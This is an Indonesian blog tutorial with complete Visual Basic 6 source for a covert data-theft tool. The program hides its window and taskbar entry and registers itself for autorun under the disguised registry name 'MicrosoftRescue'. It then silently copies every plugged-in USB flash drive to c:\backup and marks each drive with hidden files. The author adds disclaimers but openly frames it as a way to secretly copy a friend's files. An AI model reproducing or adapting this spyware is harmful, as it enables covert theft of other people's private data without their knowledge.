Teman anda sering meminjam komputer Anda. Atau komputer yang Anda gunakan di kantor adalah komputer yang digunakan bersama, oleh beberapa orang. Dengan kondisi seperti itu, pernahkah terlintas dalam fikiran Anda, untuk menyalin file-file pada flashdisk yang ditancapkannya pada port usb di komputer Anda, secara diam-diam? Anda mungkin penasaran, apa saja sih yang berada pada flashdisk teman Anda tersebut? Saya, jujur saja, menjadi tertarik, setelah seorang teman saya meminta dibuatkan program untuk menyalin semua isi di flashdisk yang tertancap di komputernya, secara diam-diam. Mula-mula saya tertawa, meskipun dalam hati tertarik juga. Boleh juga, kata saya kepada teman tersebut. Dan kami tertawa bersama. Tertawa dengan tanduk yang mulai tumbuh di kepala
Sebelumnya, saya harus memperingatkan bahwa artikel ini hanya untuk pembelajaran, dan saya tidak bertanggung jawab atas segala penyalahgunaan yang terjadi karena penggunaan program ini. Dan lewat artikel ini, saya juga ingin memberitahukan bahwa kemungkinan data Anda tercuri, jika Anda menggunakan komputer yang digunakan secara bersama, cukup besar. Jadi, berhati-hatilah!
Program ini saya buat dengan menggunakan Microsoft Visual Basic 6.0, dan hanya menggunakan 1 (satu) form dan 1 (satu) module.
Jadi, buka Visual Basic Anda, buat sebuat project baru, lalu pada form kosong yang tersedia, tambahkan 2 control timer. Namai control timer pertama dengan nama tmrCek dan control timer kedua dengan nama tmrCekExist. Ubah property interval keduanya menjadi 1000 (untuk mengeset agar program ini mengecek keberadaan flashdisk yang ada, setiap 1 detik sekali / 1000 milisecond). Jangan lupa juga untuk menamai form tersebut dengan nama frmFDSC, dan ubah juga property Visible-nya menjadi False.
Kemudian, pada jendela code editor form tersebut, tambahkan kode-kode berikut:
1:
2: Option Explicit
3:
4: Private Declare Function GetDriveType Lib "kernel32" _
5:
6: Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
7: Dim sFolder As
8: String
9: Dim sLabel As String
10: Dim sToday As String
11: Dim sPenanda As
12: String
13: Dim nDelay As Integer
14: Dim sDrive As String
15:
16: Private Sub Form_Load()
17: Dim sHasil As String
18:
19: Me.Visible = False
20: App.TaskVisible =
21: False
22: sHasil = AmbilString(HKLM,
23: "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
24: "MicrosoftRescue")
25: If sHasil = ""
26: Then
27: If BuatString(HKLM,
28: "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "MicrosoftRescue", App.Path
29: & "\" & App.EXEName & ".exe") = True
30: Then
31: 'Ok,
32: autorun di registry berhasil
33: dibuat.
34: End
35: If
36: End If
37: sFolder =
38: "c:\backup"
39: If Dir(sFolder, vbDirectory) = ""
40: Then
41: On Error GoTo
42: SkipIt
43: MkDir
44: sFolder
45: End If
46: SkipIt:
47: sLabel =
48: ""
49: End Sub
50:
51: Private Sub tmrCek_Timer()
52: Dim i As Integer
53: Dim X
54: Dim sCmd As
55: String
56: sToday = Format(Now(),
57: "ddMMyyyy")
58: CekDrive
59: If Not sDrive =
60: "" Then
61: sPenanda = sDrive &
62: "\" & sToday & ".txt"
63: sCmd
64: = "xcopy.exe " & sDrive & "\*.* " & sFolder & "\" &
65: Left(sDrive, 1) & Format(Now(), "yyyyMMdd") & "-" & Format(Now(),
66: "HHmmss") & "\*.* /E /C"
67: If
68: Dir(sPenanda, vbHidden) = ""
69: Then
70: Open
71: "c:\temp.bat" For Output As
72: #1
73: Print
74: #1, "@echo
75: off"
76: Print
77: #1, sCmd
78:
79: Print #1, "copy c:\temp.bat
80: c:\berhasil.txt"
81:
82: Close #1
83:
84: If Dir(sFolder, vbDirectory) = ""
85: Then
86:
87: MkDir
88: sFolder
89:
90: End If
91: X =
92: Shell("c:\temp.bat",
93: vbHide)
94:
95: tmrCek.Enabled =
96: False
97:
98: tmrCekExist.Enabled = True
99: End
100: If
101: End If
102: End Sub
103:
104: Private Sub tmrCekExist_Timer()
105: Dim X
106: nDelay =
107: nDelay + 1
108: If nDelay >= 5
109: Then
110: nDelay =
111: 0
112: If Dir("c:\berhasil.txt",
113: vbNormal) <> ""
114: Then
115: Kill
116: "c:\temp.bat"
117:
118: Kill
119: "c:\berhasil.txt"
120:
121: Open sPenanda For Output As
122: #1
123: Print
124: #1, sToday
125:
126: Close #1
127: X
128: = Shell("attrib.exe +h " & sPenanda,
129: vbHide)
130:
131: KillApp
132: ("xcopy.exe")
133:
134: KillApp
135: ("temp.bat")
136:
137: X = Shell("taskkill.exe xcopy.exe",
138: vbHide)
139: X
140: = Shell("taskkill.exe temp.bat",
141: vbHide)
142:
143: tmrCekExist.Enabled =
144: False
145:
146: tmrCek.Enabled = True
147: End
148: If
149: End If
150: End Sub
151:
152: Sub CekDrive()
153: Dim ictr As Integer
154: Dim iDriveCount As
155: Integer
156: Dim sAllDrives As String
157: ReDim sDrives(0) As
158: String
159: For ictr = 66 To
160: 90
161: sDrive = Chr(ictr) &
162: ":"
163: If DriveType(sDrive) =
164: "Removable Drive"
165: Then
166:
167: sDrive =
168: sDrive
169:
170: Exit Sub
171:
172: iDriveCount = iDriveCount + 1
173: End
174: If
175: Next
176: sDrive = ""
177: End Sub
178:
179: Private Function DriveType(Drive As String) As String
180: Dim sAns As
181: String, lAns As Long
182: If Len(Drive) = 1 Then Drive = Drive
183: & ":"
184: If Len(Drive) = 2 And Right$(Drive, 1) = ":"
185: Then Drive = Drive & ""
186: lAns =
187: GetDriveType(Drive)
188: Select Case
189: lAns
190: Case
191: 2
192: sAns =
193: "Removable Drive"
194: Case
195: 3
196: sAns =
197: "Fixed Drive"
198: Case
199: 4
200: sAns =
201: "Remote Drive"
202: Case
203: 5
204: sAns =
205: "CD-ROM"
206: Case
207: 6
208: sAns =
209: "RAM Disk"
210: Case
211: Else
212: sAns
213: = "Drive Doesn't Exist"
214: End Select
215:
216: DriveType = sAns
217: End Function
Setelah itu, tambahkan sebuah modul. Beri nama modul tersebut dengan nama modReg. Kemudian, tambahkan code-code berikut pada module tersebut:
1: Private Const KEY_READ = &H20000 Or &H1& Or &H8& Or
2: &H10&
3: Private Const KEY_WRITE = &H20000 Or &H2& Or
4: &H4&
5: Public Const HKCU = &H80000001
6: Public Const HKLM =
7: &H80000002
8: Private Const REG_SZ = 1
9: Private Const REG_DWORD =
10: 4
11: Private Const ERROR_SUCCESS = 0&
12: Private Declare Function
13: RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hkey As Long, ByVal
14: lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult
15: As Long) As Long
16: Private Declare Function RegSetValueEx Lib "advapi32.dll"
17: Alias "RegSetValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal
18: Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As
19: Long
20: Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias
21: "RegQueryValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal
22: lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As
23: Long
24: Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hkey As
25: Long) As Long
26: Const MAX_PATH& = 260
27: Private Declare Function
28: TerminateProcess _
29: Lib "kernel32" (ByVal ApphProcess As
30: Long, _
31: ByVal uExitCode As Long) As Long
32: Private
33: Declare Function OpenProcess Lib _
34: "kernel32" (ByVal
35: dwDesiredAccess As Long, _
36: ByVal blnheritHandle As Long,
37: _
38: ByVal dwAppProcessId As Long) As Long
39: Private Declare
40: Function ProcessFirst _
41: Lib "kernel32" Alias
42: "Process32First" _
43: (ByVal hSnapshot As Long,
44: _
45: uProcess As PROCESSENTRY32) As Long
46: Private Declare
47: Function ProcessNext _
48: Lib "kernel32" Alias
49: "Process32Next" _
50: (ByVal hSnapshot As Long,
51: _
52: uProcess As PROCESSENTRY32) As Long
53: Private Declare
54: Function CreateToolhelpSnapshot _
55: Lib "kernel32" Alias
56: "CreateToolhelp32Snapshot" _
57: (ByVal lFlags As Long,
58: _
59: lProcessID As Long) As Long
60: Private Declare Function
61: CloseHandle _
62: Lib "kernel32" (ByVal hObject As Long) As
63: Long
64: Private Type LUID
65: lowpart As Long
66: highpart As Long
67: End
68: Type
69: Private Type TOKEN_PRIVILEGES
70: PrivilegeCount As
71: Long
72: LuidUDT As LUID
73: Attributes As
74: Long
75: End Type
76: Const TOKEN_ADJUST_PRIVILEGES = &H20
77: Const
78: TOKEN_QUERY = &H8
79: Const SE_PRIVILEGE_ENABLED = &H2
80: Const
81: PROCESS_ALL_ACCESS = &H1F0FFF
82: Private Declare Function GetVersion Lib
83: "kernel32" () As Long
84: Private Declare Function GetCurrentProcess
85: _
86: Lib "kernel32" () As Long
87: Private Declare Function
88: OpenProcessToken _
89: Lib "advapi32" (ByVal ProcessHandle As
90: Long, _
91: ByVal DesiredAccess As Long,
92: _
93: TokenHandle As Long) As Long
94: Private Declare Function
95: LookupPrivilegeValue _
96: Lib "advapi32" Alias
97: "LookupPrivilegeValueA" _
98: (ByVal lpSystemName As String,
99: _
100: ByVal lpName As String, _
101: lpLuid
102: As LUID) As Long
103: Private Declare Function AdjustTokenPrivileges
104: _
105: Lib "advapi32" (ByVal TokenHandle As Long,
106: _
107: ByVal DisableAllPrivileges As Long,
108: _
109: NewState As TOKEN_PRIVILEGES, _
110:
111: ByVal BufferLength As Long, _
112: PreviousState As Any,
113: _
114: ReturnLength As Any) As Long
115: Private Type
116: PROCESSENTRY32
117: dwSize As Long
118: cntUsage As
119: Long
120: th32ProcessID As Long
121: th32DefaultHeapID As
122: Long
123: th32ModuleID As Long
124: cntThreads As
125: Long
126: th32ParentProcessID As Long
127: pcPriClassBase
128: As Long
129: dwFlags As Long
130: szexeFile As String *
131: MAX_PATH
132: End Type
133:
134: Public Function KillApp(myName As String) As Boolean
135: Const
136: TH32CS_SNAPPROCESS As Long = 2&
137: Const PROCESS_ALL_ACCESS =
138: 0
139: Dim uProcess As PROCESSENTRY32
140: Dim rProcessFound As
141: Long
142: Dim hSnapshot As Long
143: Dim szExename As String
144:
145: Dim exitCode As Long
146: Dim myProcess As Long
147: Dim AppKill As
148: Boolean
149: Dim appCount As Integer
150: Dim i As Integer
151:
152: On Local Error GoTo Finish
153: appCount = 0
154: uProcess.dwSize =
155: Len(uProcess)
156: hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS,
157: 0&)
158: rProcessFound = ProcessFirst(hSnapshot, uProcess)
159: Do
160: While rProcessFound
161: i = InStr(1,
162: uProcess.szexeFile, Chr(0))
163: szExename =
164: LCase$(Left$(uProcess.szexeFile, i - 1))
165:
166: If Right$(szExename, Len(myName)) = LCase$(myName)
167: Then
168: KillApp =
169: True
170: appCount =
171: appCount + 1
172:
173: myProcess = OpenProcess(PROCESS_ALL_ACCESS, False,
174: _
175:
176: uProcess.th32ProcessID)
177:
178: If KillProcess(uProcess.th32ProcessID, 0)
179: Then
180:
181: 'Tidak ada process yang di
182: stop
183: End
184: If
185: End If
186: rProcessFound
187: = ProcessNext(hSnapshot, uProcess)
188: Loop
189: Call
190: CloseHandle(hSnapshot)
191: Exit Function
192: Finish:
193: MsgBox
194: "Error!"
195: End Function
196:
197: Function KillProcess(ByVal hProcessID As Long, Optional ByVal
198: _
199:
200: exitCode As Long) As Boolean
201: Dim hToken As
202: Long
203: Dim hProcess As Long
204: Dim tp As
205: TOKEN_PRIVILEGES
206: If GetVersion() >= 0
207: Then
208: If
209: OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES Or
210: _
211:
212: TOKEN_QUERY, hToken) = 0
213: Then
214: GoTo
215: CleanUp
216: End
217: If
218: If LookupPrivilegeValue("",
219: "SeDebugPrivilege", tp.LuidUDT) = 0
220: Then
221: GoTo
222: CleanUp
223: End
224: If
225: tp.PrivilegeCount =
226: 1
227: tp.Attributes =
228: SE_PRIVILEGE_ENABLED
229: If
230: AdjustTokenPrivileges(hToken, False, tp, 0, ByVal 0&,
231: _
232: ByVal 0&)
233: = 0 Then
234:
235: GoTo CleanUp
236: End
237: If
238: End If
239: hProcess =
240: OpenProcess(PROCESS_ALL_ACCESS, 0, hProcessID)
241: If hProcess
242: Then
243: KillProcess =
244: (TerminateProcess(hProcess, exitCode) <>
245: 0)
246: CloseHandle
247: hProcess
248: End If
249: If GetVersion()
250: >= 0 Then
251: tp.Attributes =
252: 0
253: AdjustTokenPrivileges hToken,
254: False, tp, 0, ByVal 0&, ByVal
255: 0&
256: CleanUp:
257: If hToken Then
258: CloseHandle hToken
259: End If
260: End Function
261:
262: Public Function BuatDword(ByVal hkey As Long, ByVal alamat As String, ByVal
263: nama As String, ByVal nilai As Long) As Boolean
264: Dim Handle
265: As Long
266: Dim hasil As Long
267: hasil =
268: RegOpenKeyEx(hkey, alamat, 0, KEY_WRITE, Handle)
269: If hasil
270: <> ERROR_SUCCESS Then
271:
272: BuatDword = False
273:
274: Else
275: BuatDword =
276: True
277: End If
278: RegSetValueEx Handle,
279: nama, 0&, REG_DWORD, nilai, 4&
280: RegCloseKey
281: Handle
282: End Function
283:
284: Public Function BuatString(ByVal hkey As Long, ByVal alamat As String,
285: ByVal nama As String, ByVal nilai As String) As Boolean
286:
287: Dim Handle As Long
288: Dim hasil As Long
289:
290: hasil = RegOpenKeyEx(hkey, alamat, 0, KEY_WRITE, Handle)
291:
292: If hasil <> ERROR_SUCCESS
293: Then
294: BuatString =
295: False
296: Else
297:
298: BuatString = True
299: End If
300:
301: RegSetValueEx Handle, nama, 0, REG_SZ, ByVal nilai,
302: Len(nilai)
303: RegCloseKey Handle
304: End Function
305:
306: Public Function AmbilDword(ByVal hkey As Long, ByVal alamat As String,
307: nama As String) As Long
308: On Error Resume
309: Next
310: Dim Handle As Long
311: RegOpenKeyEx
312: hkey, alamat, 0, KEY_READ, Handle
313: AmbilDword =
314: RegQueryValue(Handle, nama)
315: RegCloseKey Handle
316: End
317: Function
318:
319: Public Function AmbilString(ByVal hkey As Long, ByVal alamat As String,
320: ByVal nama As String) As String
321: On Error Resume
322: Next
323: Dim Handle As Long
324: RegOpenKeyEx
325: hkey, alamat, 0, KEY_READ, Handle
326: AmbilString =
327: RegQueryValue(Handle, nama)
328: RegCloseKey Handle
329: End
330: Function
331:
332: Private Function RegQueryValue(ByVal hkey As Long, ByVal strValueName As
333: String) As String
334: Dim hasil As Long
335:
336: Dim Jenis As Long
337: Dim Buffer As
338: String
339: Dim Ukuran As Long
340: hasil =
341: RegQueryValueEx(hkey, strValueName, 0, Jenis, ByVal 0,
342: Ukuran)
343: If hasil = 0
344: Then
345: If Jenis = REG_SZ
346: Then
347:
348: Buffer = String(Ukuran,
349: Chr$(0))
350:
351: hasil = RegQueryValueEx(hkey, strValueName, 0, 0, ByVal Buffer,
352: Ukuran)
353: If
354: hasil = 0 Then RegQueryValue = Left$(Buffer, InStr(1, Buffer, Chr$(0)) -
355: 1)
356: ElseIf Jenis = REG_DWORD
357: Then
358: Dim
359: strdata As
360: Integer
361:
362: hasil = RegQueryValueEx(hkey, strValueName, 0, 0, strdata,
363: Ukuran)
364: If
365: hasil = 0 Then RegQueryValue =
366: strdata
367: End
368: If
369: End If
370: End Function
Sekarang, compile program Anda, tempatkan file .exe yang dihasilkan pada folder tertentu yang Anda kehendaki. Saya pribadi menempatkannya pada folder Windows. Kemudian, jalankan program tersebut (jangan jalankan dari dalam IDE Visual Basic!). Anda tidak akan melihat apapun di layar, karena form-nya di-set Invisible. Program tersebut juga akan membuat sebuah key pada registry komputer, agar dapat berjalan otomatis, setiap kali windows dijalankan. Dan, setiap kali sebuah flash-disk ditancapkan, dia akan segera mendeteksinya, untuk kemudian melakukan proses penyalinan ke sebuah folder yang telah ditentukan.
Kelemahan dari program ini adalah bahwa proses copy yang dilakukan, masih menggunakan program eksternal, yaitu xcopy.exe, yang merupakan program bawaan Windows. Anda tidak perlu menyertakan program xcopy exe ini, karena program tersebut tersedia pada distribusi windows yang Anda pakai. Kelemahan ke dua dari program ini adalah cara pemeriksaan flashdisk yang masih menggunakan cara manual, yaitu dengan memeriksa keberadaan file tertentu yang ditambahkan pada flashdisk, setelah program selesai menyalin isi flashdisk tersebut. Kelemahan ke tiga dari program ini adalah tidak adanya fasilitas untuk memberikan jeda / waktu tunda yang cukup, setelah program selesai menyalin isi flashdisk, sehingga menyebabkan pada kasus tertentu, flashdisk tidak bisa di-remove, karena Windows menganggap masih adanya proses tertentu yang mengakses flashdisk tersebut. Itu semua akan menjadi PR buat Anda, untuk menjadikan program ini lebih baik. Saya tidak akan memberitahukan caranya, karena itu tidak akan membuat Anda menjadi lebih kreatif.
Dan, sekali lagi saya harus memperingatkan bahwa artikel ini hanya untuk pembelajaran, dan saya tidak bertanggung jawab atas segala penyalahgunaan yang terjadi karena penggunaan program ini. Artikel ini hanyalah sebuah media, dimana kita bisa belajar kemungkinan data Anda tercuri, jika Anda
menggunakan komputer yang digunakan secara bersama, cukup besar. Jadi sekali lagi, berhati-hatilah!
Anda bisa mendapatkan program ini dan source-code-nya, dengan cara mengirimkan email ke asopyan@eras.web.id.
Catatan: gambar ilustrasi untuk artikel ini saya ambil dari http://suaidi2007.wordpress.com.
Tidak ada komentar:
Posting Komentar